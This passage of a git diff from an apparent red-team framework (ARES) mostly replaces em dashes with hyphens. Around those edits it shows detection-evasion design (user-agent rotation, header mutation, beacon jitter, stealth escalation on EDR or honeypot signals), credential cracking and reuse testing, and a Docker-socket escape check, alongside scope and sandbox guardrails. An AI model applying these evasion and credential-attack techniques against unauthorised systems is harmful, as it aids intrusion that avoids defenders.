abort - no retry possible├─ NetworkError retry with jitter│ ├─ ConnectionRefused retry × 3, then fallback module│ ├─ ConnectionTimeout retry with exponential backoff@@ -28,7 +28,7 @@ Error categories and engine behavior:│ ├─ SandboxError log + skip module│ ├─ WorkerCrashed requeue task│ └─ PayloadError log + skip- ├─ ScopeError abort immediately — never retry out-of-scope+ ├─ ScopeError abort immediately - never retry out-of-scope├─ OpsecError engine pauses or switches profile│ ├─ DetectionSignal escalate opsec profile│ └─ HoneypotDetected abort campaign, alert operator@@ -106,7 +106,7 @@ class ModuleError(AresError):class ModuleValidationError(ModuleError):"""Module metadata or parameter validation failed.- Engine aborts immediately — bad config means retry won't help.+ Engine aborts immediately - bad config means retry won't help.Raised by:BaseModule.validate()@@ -138,7 +138,7 @@ class ModuleTimeoutError(ModuleError):class ModuleNotFoundError(ModuleError):"""Module ID not in registry.- Engine aborts — cannot retry a missing module.+ Engine aborts - cannot retry a missing module."""default_action = AresError.ABORT@@ -320,7 +320,7 @@ class PayloadError(ExecutionError):class InvalidContext(ExecutionError):"""ExecutionContext is missing required fields.- Engine aborts module — bad context means logic error, not transient failure.+ Engine aborts module - bad context means logic error, not transient failure."""default_action = AresError.ABORT@@ -337,7 +337,7 @@ class ScopeError(AresError):"""Operation would target an out-of-scope host or resource.Engine ABORTS immediately. Never retries or falls back.- The guardrail caught this — the operator must fix scope config.+ The guardrail caught this - the operator must fix scope config."""default_action = AresError.ABORT@@ -387,7 +387,7 @@ class HoneypotDetected(OpsecError):"""High-confidence honeypot detection.Engine ABORTS the campaign and alerts the operator.- Do NOT retry — further interaction makes IR worse.+ Do NOT retry - further interaction makes IR worse."""default_action = AresError.ABORTdiff --git a/ares/core/logger.py b/ares/core/logger.pyindex 1c87fba..3a77fbc 100644--- a/ares/core/logger.py+++ b/ares/core/logger.py@@ -1,6 +1,6 @@"""ARES Structured Logger-JSON-first logging using structlog — SIEM-ingestible NDJSON output.+JSON-first logging using structlog - SIEM-ingestible NDJSON output.Every log line on disk is a complete JSON object:{@@ -16,7 +16,7 @@ Every log line on disk is a complete JSON object:}Console stays human-readable (colored).-Disk output: NDJSON (one JSON object per line — Splunk/ELK/Grafana Loki compatible).+Disk output: NDJSON (one JSON object per line - Splunk/ELK/Grafana Loki compatible).Separate audit.ndjson for append-only action trail."""from __future__ import annotationsdiff --git a/ares/core/noise.py b/ares/core/noise.pyindex 85f3bca..ab71d54 100644--- a/ares/core/noise.py+++ b/ares/core/noise.py@@ -75,13 +75,13 @@ class JitterEngine:if lo >= hi:delay_ms = loelse:- # Use triangular distribution — more realistic than uniform+ # Use triangular distribution - more realistic than uniformdelay_ms = int(random.triangular(lo, hi, (lo + hi) // 2))logger.debug("noise_jitter_sleep_ms", delay_ms=delay_ms, profile=self.profile)await asyncio.sleep(delay_ms / 1000)async def sleep_between_hosts(self) -> None:- """Longer pause when moving between hosts — mimics human behavior."""+ """Longer pause when moving between hosts - mimics human behavior."""multiplier = {"stealth": 3, "normal": 1.5, "aggressive": 0.5}[self.profile]await self.sleep(override_min=int(self.min_ms * multiplier),@@ -136,7 +136,7 @@ class RateLimiter:class ScopeGuard:"""- HARD STOP — prevents any action outside defined scope.+ HARD STOP - prevents any action outside defined scope.This protects operators from accidental out-of-scope activity."""@@ -158,7 +158,7 @@ class ScopeGuard:"timestamp": time.time(),})logger.warning(- f"[scope_guard] BLOCKED: '{action}' against '{target}' — OUT OF SCOPE"+ f"[scope_guard] BLOCKED: '{action}' against '{target}' - OUT OF SCOPE")return in_scope@@ -175,7 +175,7 @@ class ScopeGuard:return len(self._blocked_attempts)-class ScopeViolationError(ScopeError): # alias for backward compat — use ScopeError directly+class ScopeViolationError(ScopeError): # alias for backward compat - use ScopeError directly"""Raised when an action targets an out-of-scope host."""@@ -183,7 +183,7 @@ class ScopeViolationError(ScopeError): # alias for backward compat — use Scopclass NoiseController:"""- Master controller — combines jitter + rate limiter + scope guard.+ Master controller - combines jitter + rate limiter + scope guard.Every module must use this before making any network call."""diff --git a/ares/core/notifier.py b/ares/core/notifier.pyindex 595196f..99649c5 100644--- a/ares/core/notifier.py+++ b/ares/core/notifier.py@@ -1,5 +1,5 @@"""-ARES Webhook Notifier — v1.0.0+ARES Webhook Notifier - v1.0.0Sends real-time alerts to Slack / Teams / generic webhook endpointswhen findings above a configured severity threshold are discovered.@@ -104,14 +104,14 @@ class WebhookNotifier:except ValueError as exc:if "not allowed" in str(exc) or "private" in str(exc) or "SSRF" in str(exc):raise- # Not a bare IP literal — resolve hostname now and check all returned addresses.+ # Not a bare IP literal - resolve hostname now and check all returned addresses.# This prevents SSRF via internal hostnames like `internal.corp.local` that would# otherwise only be DNS-resolved at request time, bypassing the IP blocklist above.import sockettry:resolved = socket.getaddrinfo(hostname, None)except socket.gaierror:- # Unresolvable at config time — reject to be safe; DNS may resolve later+ # Unresolvable at config time - reject to be safe; DNS may resolve later# to a private IP, and we cannot verify it is safe.raise ValueError(f"Webhook hostname {hostname!r} could not be resolved at configuration "@@ -162,12 +162,12 @@ class WebhookNotifier:module=getattr(finding, "module_id", "?"))def _build_payload(self, finding: Any, campaign: Any) -> dict[str, Any]:- """Build notification payload — auto-detects Slack vs Teams vs generic."""+ """Build notification payload - auto-detects Slack vs Teams vs generic."""sev = finding.severity.value if hasattr(finding.severity, "value") else str(finding.severity)score = getattr(finding, "cvss_score", 0.0) or 0.0- mitre = getattr(finding, "mitre_technique", None) or "—"+ mitre = getattr(finding, "mitre_technique", None) or " - "tid = getattr(finding, "trace_id", "") or ""- host = getattr(finding, "host", None) or "—"+ host = getattr(finding, "host", None) or " - "mod = getattr(finding, "module_id", "?")cname = getattr(campaign, "name", str(getattr(campaign, "id", "?")))diff --git a/ares/core/opsec/adaptive.py b/ares/core/opsec/adaptive.pyindex dcee543..b75f456 100644--- a/ares/core/opsec/adaptive.py+++ b/ares/core/opsec/adaptive.py@@ -109,7 +109,7 @@ class AdaptiveOpsecEngine:self.auth_fail_threshold = auth_fail_thresholdself.jitter_increment_s = jitter_increment_s- # Signal event buffers — deque of (timestamp, event) per signal type+ # Signal event buffers - deque of (timestamp, event) per signal typeself._signals: defaultdict[str, deque[SignalEvent]] = defaultdict(lambda: deque(maxlen=200))@@ -202,7 +202,7 @@ class AdaptiveOpsecEngine:if recent >= self.timeout_threshold:return [OpsecAdaptation(action=ResponseAction.ESCALATE_PROFILE,- reason=f"{recent} timeouts in {self.window_s}s — escalating to stealth",+ reason=f"{recent} timeouts in {self.window_s}s - escalating to stealth",triggered_by=[event],new_profile=self._next_stealth_profile(),new_jitter_s=self._current_jitter_boost + self.jitter_increment_s,@@ -219,7 +219,7 @@ class AdaptiveOpsecEngine:if host_resets >= self.reset_threshold:return [OpsecAdaptation(action=ResponseAction.BLACKLIST_HOST,- reason=f"{host_resets} connection resets from {event.host} — possible IPS/EDR",+ reason=f"{host_resets} connection resets from {event.host} - possible IPS/EDR",triggered_by=[event],blacklist_host=event.host,)]@@ -236,7 +236,7 @@ class AdaptiveOpsecEngine:if count >= self.auth_fail_threshold:return [OpsecAdaptation(action=ResponseAction.STOP_ACCOUNT,- reason=f"{count} auth failures for {username} — lockout protection",+ reason=f"{count} auth failures for {username} - lockout protection",triggered_by=[event],stop_account=username,)]@@ -247,7 +247,7 @@ class AdaptiveOpsecEngine:return []return [OpsecAdaptation(action=ResponseAction.INCREASE_JITTER,- reason="Rate limit detected — increasing inter-request jitter",+ reason="Rate limit detected - increasing inter-request jitter",triggered_by=[event],new_jitter_s=self._current_jitter_boost + self.jitter_increment_s * 2,)]@@ -257,7 +257,7 @@ class AdaptiveOpsecEngine:return []return [OpsecAdaptation(action=ResponseAction.PAUSE_ALL,- reason="Scan detected (honeypot/IDS alert) — pausing all operations",+ reason="Scan detected (honeypot/IDS alert) - pausing all operations",triggered_by=[event],new_profile="stealth",)]diff --git a/ares/core/opsec/opsec.py b/ares/core/opsec/opsec.pyindex 0254630..ac264b2 100644--- a/ares/core/opsec/opsec.py+++ b/ares/core/opsec/opsec.py@@ -3,12 +3,12 @@ ARES OpSec LayerProfessional-grade operational security controls for red team engagements.Components:- UserAgentRotator — realistic browser/tool UA pool, weighted random selection- HeaderMutator — randomize HTTP header order + add realistic noise headers- ProtocolSelector — SMB→HTTP, LDAP→LDAPS, automatic protocol fallback chain- BeaconScheduler — jittered sleep profiles (uniform, gaussian, triangular, pareto)- TrafficShaper — token bucket + burst control per protocol- OpSecProfile — master config object tying all controls together+ UserAgentRotator - realistic browser/tool UA pool, weighted random selection+ HeaderMutator - randomize HTTP header order + add realistic noise headers+ ProtocolSelector - SMB→HTTP, LDAP→LDAPS, automatic protocol fallback chain+ BeaconScheduler - jittered sleep profiles (uniform, gaussian, triangular, pareto)+ TrafficShaper - token bucket + burst control per protocol+ OpSecProfile - master config object tying all controls togetherUsage in a module:opsec = OpSecProfile.from_noise_profile(campaign.noise_profile)@@ -37,7 +37,7 @@ logger = get_logger("ares.opsec")# Weighted pool: (user_agent_string, weight)# Higher weight = more likely to be selected. Real-world browser share as weights._UA_POOL: list[tuple[str, int]] = [- # Chrome (most common — highest weight)+ # Chrome (most common - highest weight)("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 35),("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", 20),("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", 15),@@ -48,7 +48,7 @@ _UA_POOL: list[tuple[str, int]] = [("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0", 8),# Safari("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15", 5),- # Curl / tool-like (used in aggressive profile only — lower weight)+ # Curl / tool-like (used in aggressive profile only - lower weight)("python-requests/2.31.0", 1),("curl/7.88.1", 1),]@@ -114,7 +114,7 @@ class HeaderMutator:if self.inject_noise:for header, values in _NOISE_HEADERS:- # random.random/choice here is intentional — used for OpSec HTTP+ # random.random/choice here is intentional - used for OpSec HTTP# header noise injection (probabilistic mutation), NOT for any# cryptographic or authentication purpose. # noqa: S311if header not in result and random.random() < 0.6: # noqa: S311@@ -174,7 +174,7 @@ class ProtocolSelector:return protocol # last resortdef mark_unavailable(self, protocol: str) -> None:- """Call this when a connection attempt fails — removes from future selection."""+ """Call this when a connection attempt fails - removes from future selection."""self._unavailable.add(protocol)logger.info("protocol_marked_unavailable", protocol=protocol)@@ -185,9 +185,9 @@ class ProtocolSelector:# ── Beacon Scheduler ──────────────────────────────────────────────────────────class BeaconDistribution(str, Enum):- UNIFORM = "uniform" # flat random — obvious in logs+ UNIFORM = "uniform" # flat random - obvious in logsGAUSSIAN = "gaussian" # normal distribution around mean- TRIANGULAR = "triangular" # triangular — ARES default, realistic+ TRIANGULAR = "triangular" # triangular - ARES default, realisticPARETO = "pareto" # long-tail: mostly short, occasional long pause@@ -242,7 +242,7 @@ class BeaconScheduler:elif dist == BeaconDistribution.TRIANGULAR:t = random.triangular(p.min_sleep, p.max_sleep, p.mean_sleep)elif dist == BeaconDistribution.PARETO:- # Pareto: heavy tail — mostly fast, occasionally very long pauses+ # Pareto: heavy tail - mostly fast, occasionally very long pausesalpha = 1.5t = (random.paretovariate(alpha) - 1) * p.mean_sleep + p.min_sleepelse:diff --git a/ares/core/plugin/loader.py b/ares/core/plugin/loader.pyindex 1d6f8b3..c07d617 100644--- a/ares/core/plugin/loader.py+++ b/ares/core/plugin/loader.py@@ -2,9 +2,9 @@ARES Plugin LoaderAuto-discovers modules via three mechanisms (in priority order):-1. Built-in — ares/modules/**/*.py (always loaded, trusted)-2. Entry points — third-party packages that register ares.modules entry points-3. External dir — ARES_PLUGIN_DIR env var (drop-in .py files, no install needed)+1. Built-in - ares/modules/**/*.py (always loaded, trusted)+2. Entry points - third-party packages that register ares.modules entry points+3. External dir - ARES_PLUGIN_DIR env var (drop-in .py files, no install needed)Security controls added in v1.0.0:- Signature verification before loading external/entry-point modules@@ -13,10 +13,10 @@ Security controls added in v1.0.0:- Unsigned external modules loaded with capability restriction warningTrust levels:- builtin — shipped with ARES, always trusted- entrypoint — installed pip package with ares.modules entry point → WARN_UNSIGNED- external — .py file in plugin dir → REQUIRE_SIGNED (configurable)- unsigned — passes WARN/ALLOW policy, cap-restricted+ builtin - shipped with ARES, always trusted+ entrypoint - installed pip package with ares.modules entry point → WARN_UNSIGNED+ external - .py file in plugin dir → REQUIRE_SIGNED (configurable)+ unsigned - passes WARN/ALLOW policy, cap-restrictedConfig:ARES_PLUGIN_SIGNING_POLICY = require_signed | warn_unsigned | allow_all@@ -310,7 +310,7 @@ class PluginLoader:else Path.home() / ".ares" / "plugins")- # Path traversal guard — resolve to absolute path and verify it stays within+ # Path traversal guard - resolve to absolute path and verify it stays within# an allowed base (home dir or explicitly trusted locations).try:plugin_dir = plugin_dir.resolve()@@ -321,7 +321,7 @@ class PluginLoader:_allowed_bases = [Path.home().resolve(),*self._trusted_external_roots,- Path("/tmp").resolve(), # noqa: S108 — sandbox staging area+ Path("/tmp").resolve(), # noqa: S108 - sandbox staging area]if not any(_is_path_within_base(plugin_dir, base) for base in _allowed_bases@@ -380,7 +380,7 @@ class PluginLoader:if trust not in ("trusted", "community"):logger.warning(f"[plugin_loader] Loading {path.name!r} with trust={trust!r} "- f"— capabilities will be restricted"+ f" - capabilities will be restricted")except ValueError as e:self._errors.append({"path": str(path), "error": str(e)})@@ -403,7 +403,7 @@ class PluginLoader:for v in cap_violations:logger.error("plugin_loader_capability_violation", v=v)self._errors.append({"path": str(path), "error": v})- continue # Skip module — capability violation+ continue # Skip module - capability violationself.registry.register(cls, source=source)diff --git a/ares/core/sandbox.py b/ares/core/sandbox.pyindex fdc4acb..b205ac6 100644--- a/ares/core/sandbox.py+++ b/ares/core/sandbox.py@@ -1,12 +1,12 @@"""-ARES Plugin Sandbox — Restricted Module Execution+ARES Plugin Sandbox - Restricted Module ExecutionPrevents third-party modules from damaging the core engine.Isolation tiers:- TIER_0 NONE — core modules, run in-process (trusted)- TIER_1 SUBPROCESS — separate process, resource limits (default)- TIER_2 SECCOMP — subprocess + seccomp syscall filter (Linux)- TIER_3 DOCKER — fully isolated container (maximum isolation)+ TIER_0 NONE - core modules, run in-process (trusted)+ TIER_1 SUBPROCESS - separate process, resource limits (default)+ TIER_2 SECCOMP - subprocess + seccomp syscall filter (Linux)+ TIER_3 DOCKER - fully isolated container (maximum isolation)Resource limits (TIER_1+):- CPU: 30 seconds max@@ -177,7 +177,7 @@ class SandboxRunner:return SandboxResult(module_id=module_id, sandbox_tier=IsolationTier.NONE,success=False, error=f"Module {module_id!r} not registered")- # Look up real campaign scope from DB — same pattern as _run_subprocess.+ # Look up real campaign scope from DB - same pattern as _run_subprocess.# Do NOT default to 0.0.0.0/0 (wildcard) as that bypasses scope enforcement.scope_entries: list[ScopeEntry] = []try:@@ -199,11 +199,11 @@ class SandboxRunner:pass # fallback: empty scope = nothing in scope, fails closed# If DB lookup failed and no scope found, use empty scope (deny-all).- # Modules will fail validation — this is safer than allowing everything.+ # Modules will fail validation - this is safer than allowing everything.if not scope_entries:logger.warning("sandbox_inprocess_no_scope",campaign_id=campaign_id, module_id=module_id,- note="No campaign scope found — using deny-all. "+ note="No campaign scope found - using deny-all. ""Pass a valid campaign_id or use subprocess mode.")scope_entries = []@@ -252,7 +252,7 @@ class SandboxRunner:if e.get("cidr")]except Exception:- pass # fallback handled in wrapper — fails closed+ pass # fallback handled in wrapper - fails closedpayload = json.dumps({"module_id": module_id,"params": params,@@ -402,7 +402,7 @@ class SandboxRunner:resource.setrlimit(resource.RLIMIT_NPROC, (64, 64))resource.setrlimit(resource.RLIMIT_NOFILE, (256, 256))except (OSError, ValueError, AttributeError):- pass # best-effort — don't fail the child+ pass # best-effort - don't fail the childreturn _limits@@ -422,7 +422,7 @@ class SandboxRunner:"import ctypes as _ct, ctypes.util as _cu, os as _so\n""try:\n"" _libc = _ct.CDLL(_cu.find_library('c'), use_errno=True)\n"- " _libc.prctl(38, 1, 0, 0, 0) # PR_SET_NO_NEW_PRIVS — child cannot gain privs\n"+ " _libc.prctl(38, 1, 0, 0, 0) # PR_SET_NO_NEW_PRIVS - child cannot gain privs\n""except Exception as _pe:\n"" import sys as _ps; print(f'[sandbox] prctl failed: {_pe}', file=_ps.stderr)\n""if _so.environ.get('ARES_SECCOMP_BPF') == '1':\n"@@ -436,7 +436,7 @@ class SandboxRunner:" _f.load()\n"" except ImportError:\n"" import sys as _s2\n"- " print('[sandbox] pyseccomp not installed — BPF filter skipped', file=_s2.stderr)\n"+ " print('[sandbox] pyseccomp not installed - BPF filter skipped', file=_s2.stderr)\n"" except Exception as _be:\n"" import sys as _s3\n"" print(f'[sandbox] BPF filter failed: {_be}', file=_s3.stderr)\n"@@ -468,7 +468,7 @@ class SandboxRunner:" _scope_cidrs = payload.get(\"scope_cidrs\", [])\n"" if not _scope_cidrs:\n"" print(json.dumps({\"success\": False, \"error\":\n"- " \"Sandbox scope not provided — refusing to run with unbounded scope\",\n"+ " \"Sandbox scope not provided - refusing to run with unbounded scope\",\n"" \"findings\": [], \"extra\": {}}))\n"" return\n"" campaign = Campaign(\n"@@ -524,7 +524,7 @@ class SandboxRunner:' _scope_cidrs = payload.get("scope_cidrs", [])\n'' if not _scope_cidrs:\n'' return {"success": False,\n'- ' "error": "Sandbox scope not provided — refusing to run with unbounded scope",\n'+ ' "error": "Sandbox scope not provided - refusing to run with unbounded scope",\n'' "findings": [], "extra": {}}\n'' campaign = Campaign(\n'' id=campaign_id or str(uuid.uuid4()),\n'diff --git a/ares/core/security.py b/ares/core/security.pyindex e74dafc..175706a 100644--- a/ares/core/security.py+++ b/ares/core/security.py@@ -36,7 +36,7 @@ def _get_legacy_salt() -> bytes:# ── Password hashing ──────────────────────────────────────────────────────────-# NOTE: Use bcrypt directly — passlib 1.7.4 is incompatible with bcrypt >= 4.0+# NOTE: Use bcrypt directly - passlib 1.7.4 is incompatible with bcrypt >= 4.0# which added an explicit 72-byte limit. We truncate + call bcrypt directly.def hash_password(password: str) -> str:pw_bytes = password.encode("utf-8")[:72]@@ -55,10 +55,10 @@ def verify_password(plain: str, hashed: str) -> bool:# ── JWT ───────────────────────────────────────────────────────────────────────## Algorithm support:-# HS256 (default) — symmetric HMAC. Simple, single-service deployments.+# HS256 (default) - symmetric HMAC. Simple, single-service deployments.# ARES_JWT_ALGORITHM=HS256, ARES_SECRET_KEY=<32+ char secret>#-# RS256 — asymmetric RSA. Multi-service: any service can verify tokens+# RS256 - asymmetric RSA. Multi-service: any service can verify tokens# using only the public key without knowing the private key.# Generate:# openssl genrsa -out ares_jwt_private.pem 2048@@ -78,8 +78,8 @@ def _load_jwt_key("""Return the correct key object for PyJWT based on algorithm.- HS256: symmetric — same key for sign and verify.- RS256: asymmetric — private key for sign, public key for verify.+ HS256: symmetric - same key for sign and verify.+ RS256: asymmetric - private key for sign, public key for verify.Keys are read from ARES_JWT_PRIVATE_KEY_PATH / ARES_JWT_PUBLIC_KEY_PATHenv vars if present; otherwise falls back to secret_key string (usefulfor testing, not recommended for production RS256 deployments).@@ -107,13 +107,13 @@ def _load_jwt_key(logger.error("jwt_public_key_load_failed", path=key_path, error=str(exc))- # Fallback — not safe for RS256 production use, but allows unit tests to run+ # Fallback - not safe for RS256 production use, but allows unit tests to runlogger.warning("jwt_asymmetric_key_fallback",msg="Set ARES_JWT_PRIVATE_KEY_PATH/ARES_JWT_PUBLIC_KEY_PATH for RS256",)return secret_key- # HS256 / HS384 / HS512 — symmetric+ # HS256 / HS384 / HS512 - symmetricreturn secret_key@@ -176,7 +176,7 @@ class DataEncryptor:A 16-byte random salt is generated per DataEncryptor instance.Every ciphertext is stored as "<salt_hex_32chars>:<fernet_token>".On decrypt(), the salt is parsed from the prefix so the correct- derived key is always used — no need to store salt separately in DB.+ derived key is always used - no need to store salt separately in DB.This means each encrypted value has its own unique salt, eliminatingthe fixed-salt offline brute-force risk entirely. Decryption works@@ -188,7 +188,7 @@ class DataEncryptor:They will be re-encrypted with a random salt on the next write."""- # Legacy fixed salt — ONLY for decrypting old records written before per-record salts.+ # Legacy fixed salt - ONLY for decrypting old records written before per-record salts.# Security rationale: this salt is intentionally static because it was used as a# global salt in v5 and earlier. All new writes use per-record random salts (see encrypt()).# Override via ARES_LEGACY_SALT env var if you rotated this in your deployment.@@ -256,20 +256,20 @@ class DataEncryptor:fernet_token = raw_fernet_token.encode()return self._derive_fernet(salt).decrypt(fernet_token).decode()- # Legacy fallback: no prefix — use old fixed salt for pre-existing DB records+ # Legacy fallback: no prefix - use old fixed salt for pre-existing DB recordsif not self._is_canonical_fernet_token(token):raise ValueError("Invalid Fernet token encoding")result = (self._derive_fernet(self._LEGACY_SALT).decrypt(token.encode()).decode())logger.info(- "[security] Decrypted legacy ciphertext — will re-encrypt on next write"+ "[security] Decrypted legacy ciphertext - will re-encrypt on next write")return resultexcept (InvalidToken, ValueError, UnicodeDecodeError) as exc:logger.error(- "[security] Decryption failed — data may be tampered or key mismatch",+ "[security] Decryption failed - data may be tampered or key mismatch",error=str(exc)[:80],)return None@@ -359,7 +359,7 @@ def sanitize_path(value: str) -> str:logger.warning("security_sensitive_path_blocked", path=repr(resolved))raise ValueError(f"Access to sensitive path is not allowed: {resolved}")- # Allowed directory roots — only these can be accessed.+ # Allowed directory roots - only these can be accessed._ALLOWED = tuple(p.resolve()for p in (@@ -538,14 +538,14 @@ def secure_mkstemp(Registers path for campaign-scoped tracking so cleanup deletes only thecorrect campaign's artifacts.- Returns (path, fd) — caller MUST os.close(fd) after use.+ Returns (path, fd) - caller MUST os.close(fd) after use."""import osimport tempfilefd, path = tempfile.mkstemp(suffix=suffix, prefix=prefix)if hasattr(os, "fchmod"):- os.fchmod(fd, 0o600) # owner read/write only — BEFORE any data written+ os.fchmod(fd, 0o600) # owner read/write only - BEFORE any data writtenelse:os.chmod(path, 0o600) # Windows reflects file modes through chmod(path)_restrict_windows_acl(path)diff --git a/ares/core/signing.py b/ares/core/signing.pyindex 43fbb27..b42fde9 100644--- a/ares/core/signing.py+++ b/ares/core/signing.py@@ -5,17 +5,17 @@ Cryptographic signing ensures community modules are authentic and unmodified.Design:- Each module file is signed with the author's Ed25519 private key- Signature stored in module.sig file or embedded in __module_signature__- - Verification at load time — unsigned/invalid modules rejected (configurable)+ - Verification at load time - unsigned/invalid modules rejected (configurable)Trust model:- TRUSTED — ARES official modules (bundled, pre-verified)- COMMUNITY — Author-signed modules (verify with author's public key)- UNSIGNED — No signature (warn or reject based on policy)- REVOKED — Key has been revoked (always reject)+ TRUSTED - ARES official modules (bundled, pre-verified)+ COMMUNITY - Author-signed modules (verify with author's public key)+ UNSIGNED - No signature (warn or reject based on policy)+ REVOKED - Key has been revoked (always reject)Key storage:- ~/.ares/keys/trusted_keys.json — trusted public keys registry- ~/.ares/keys/<key_id>.pub — individual public key file+ ~/.ares/keys/trusted_keys.json - trusted public keys registry+ ~/.ares/keys/<key_id>.pub - individual public key fileUsage:# Generate a key pair (module author)@@ -190,7 +190,7 @@ class KeyRegistry:logger.info("trusted_key_added", key_id=key_id, author=author)def revoke_key(self, key_id: str, reason: str = "", operator: str = "") -> None:- """Revoke a key — all modules signed with this key will be rejected."""+ """Revoke a key - all modules signed with this key will be rejected."""self._revoked.add(key_id)self._keys.pop(key_id, None)self._save()@@ -371,7 +371,7 @@ class ModuleVerifier:trust_level = TrustLevel.INVALID,key_id = sig.key_id,author = sig.author,- error = "File hash mismatch — module may have been tampered with",+ error = "File hash mismatch - module may have been tampered with",)# Verify cryptographic signature@@ -420,7 +420,7 @@ class ModuleVerifier:"""if result.trust_level == TrustLevel.INVALID:raise ValueError(- f"Module {result.module_path.name!r} has invalid signature — "+ f"Module {result.module_path.name!r} has invalid signature - "f"possible tampering. Refusing to load.")if result.trust_level == TrustLevel.REVOKED:diff --git a/ares/core/tracing.py b/ares/core/tracing.pyindex 57f4703..5866438 100644--- a/ares/core/tracing.py+++ b/ares/core/tracing.py@@ -1,8 +1,8 @@"""-ARES OpenTelemetry Distributed Tracing — v3.1.0 (canonical)+ARES OpenTelemetry Distributed Tracing - v3.1.0 (canonical)Single source of truth for all tracing in ARES.-Replaces ares/telemetry/tracing.py (deleted — this file is the merge target).+Replaces ares/telemetry/tracing.py (deleted - this file is the merge target).Provides trace ID correlation from:HTTP request → engine → module execution → outgoing HTTP@@ -11,18 +11,18 @@ Features:- OTLP gRPC exporter (Jaeger / Grafana Tempo / OTLP-compatible)- Console exporter for local dev (ARES_OTEL_CONSOLE=true)- FastAPI auto-instrumentation (per-request spans with route + status)- - @trace_module() decorator — wraps module run() in a child span+ - @trace_module() decorator - wraps module run() in a child span- span() / async_span() context managers for inline spans- - inject_trace_context() — W3C traceparent header for outgoing calls- - TraceIDLogFilter — injects trace_id + span_id into every loguru record+ - inject_trace_context() - W3C traceparent header for outgoing calls+ - TraceIDLogFilter - injects trace_id + span_id into every loguru record- X-Trace-Id response header set by server middleware- - Full NoOp fallback — zero overhead when opentelemetry not installed+ - Full NoOp fallback - zero overhead when opentelemetry not installedEnvironment variables:- ARES_OTEL_ENDPOINT — OTLP gRPC endpoint (e.g. http://jaeger:4317)- ARES_OTEL_SERVICE — Service name shown in trace UI (default: ares-api)- ARES_OTEL_SAMPLE_RATE — 0.0–1.0 sampling rate (default: 1.0 = 100%)- ARES_OTEL_CONSOLE — also print spans to stdout (dev mode, default: false)+ ARES_OTEL_ENDPOINT - OTLP gRPC endpoint (e.g. http://jaeger:4317)+ ARES_OTEL_SERVICE - Service name shown in trace UI (default: ares-api)+ ARES_OTEL_SAMPLE_RATE - 0.0–1.0 sampling rate (default: 1.0 = 100%)+ ARES_OTEL_CONSOLE - also print spans to stdout (dev mode, default: false)Usage:@@ -67,7 +67,7 @@ except ImportError:class _NoOpSpan:"""- Context-manager no-op span — identical public API to real OTel span.+ Context-manager no-op span - identical public API to real OTel span.Used when opentelemetry-sdk is not installed. All methods are intentionalno-ops (pass) that satisfy the interface contract without side effects."""@@ -102,7 +102,7 @@ def setup_tracing() -> bool:"""Initialize OTel tracing. Returns True if successfully configured.- Safe to call multiple times — subsequent calls are no-ops.+ Safe to call multiple times - subsequent calls are no-ops.Called automatically from server.py lifespan."""global _provider, _tracer@@ -318,11 +318,11 @@ def trace_module(module_id: str) -> Callable:...The span automatically records:- ares.module_id — module identifier- ares.campaign_id — campaign ID (from self.campaign.id if available)- ares.findings_count — count of findings returned- ares.status — "success" or "error"- error details — exception type + message on failure+ ares.module_id - module identifier+ ares.campaign_id - campaign ID (from self.campaign.id if available)+ ares.findings_count - count of findings returned+ ares.status - "success" or "error"+ error details - exception type + message on failure"""def decorator(fn: Callable) -> Callable:@functools.wraps(fn)@@ -380,8 +380,8 @@ class TraceIDLogFilter:logger.add(sys.stderr, filter=TraceIDLogFilter(), format=TRACE_LOG_FORMAT)"""def __call__(self, record: dict) -> bool:- record["extra"].setdefault("trace_id", get_current_trace_id() or "—")- record["extra"].setdefault("span_id", get_current_span_id() or "—")+ record["extra"].setdefault("trace_id", get_current_trace_id() or " - ")+ record["extra"].setdefault("span_id", get_current_span_id() or " - ")return Truediff --git a/ares/core/validator.py b/ares/core/validator.pyindex aadd294..13f42a8 100644--- a/ares/core/validator.py+++ b/ares/core/validator.py@@ -75,7 +75,7 @@ class FindingValidator:finding_id=finding.id,passed=True,confidence=0.6,- notes=["No validators registered — manual review recommended"],+ notes=["No validators registered - manual review recommended"],)stage_results: dict[str, tuple[bool, float, str]] = {}@@ -169,9 +169,9 @@ async def _check_docker_socket_exploitable(readable = os.access(socket_path, os.R_OK)writable = os.access(socket_path, os.W_OK)if writable:- return True, 1.0, "Docker socket is read+write — full container escape possible"+ return True, 1.0, "Docker socket is read+write - full container escape possible"if readable:- return True, 0.6, "Docker socket readable — limited exploitation"+ return True, 0.6, "Docker socket readable - limited exploitation"return False, 0.1, "Docker socket exists but not accessible"diff --git a/ares/credential/__init__.py b/ares/credential/__init__.pyindex fc873e5..0d07d8a 100644--- a/ares/credential/__init__.py+++ b/ares/credential/__init__.py@@ -1,5 +1,5 @@"""-ARES — credential+ARES - credentialCredential storage, management, and reuse testing.Public API for this package. Import from here in production code:diff --git a/ares/credential/cracker.py b/ares/credential/cracker.pyindex 59df81d..955b9fa 100644--- a/ares/credential/cracker.py+++ b/ares/credential/cracker.py@@ -29,7 +29,7 @@ Wordlist priority:4. Custom client wordlistSecurity note:- Cracking always happens locally — no hashes sent externally.+ Cracking always happens locally - no hashes sent externally.All cracked plaintext is encrypted in vault before any logging."""from __future__ import annotations@@ -147,7 +147,7 @@ class CrackingWorker:audit("crack_job_start", actor="cracker",job_id=job.job_id, hash_type=job.hash_type, username=job.username)- # Hashcat (preferred — GPU accelerated)+ # Hashcat (preferred - GPU accelerated)if self._hashcat and job.hashcat_mode:result = await self._run_hashcat(job)else:diff --git a/ares/credential/reuse.py b/ares/credential/reuse.pyindex 476f3ba..85a75b0 100644--- a/ares/credential/reuse.py+++ b/ares/credential/reuse.py@@ -77,7 +77,7 @@ class ReuseResult:return round(self.successes / self.total_attempts, 3)-# ── Protocol validators — real impacket/paramiko implementations ──────────────+# ── Protocol validators - real impacket/paramiko implementations ──────────────class _ProtocolValidator:"""Base class for protocol-specific authentication testers."""@@ -95,7 +95,7 @@ class _ProtocolValidator:Subclasses 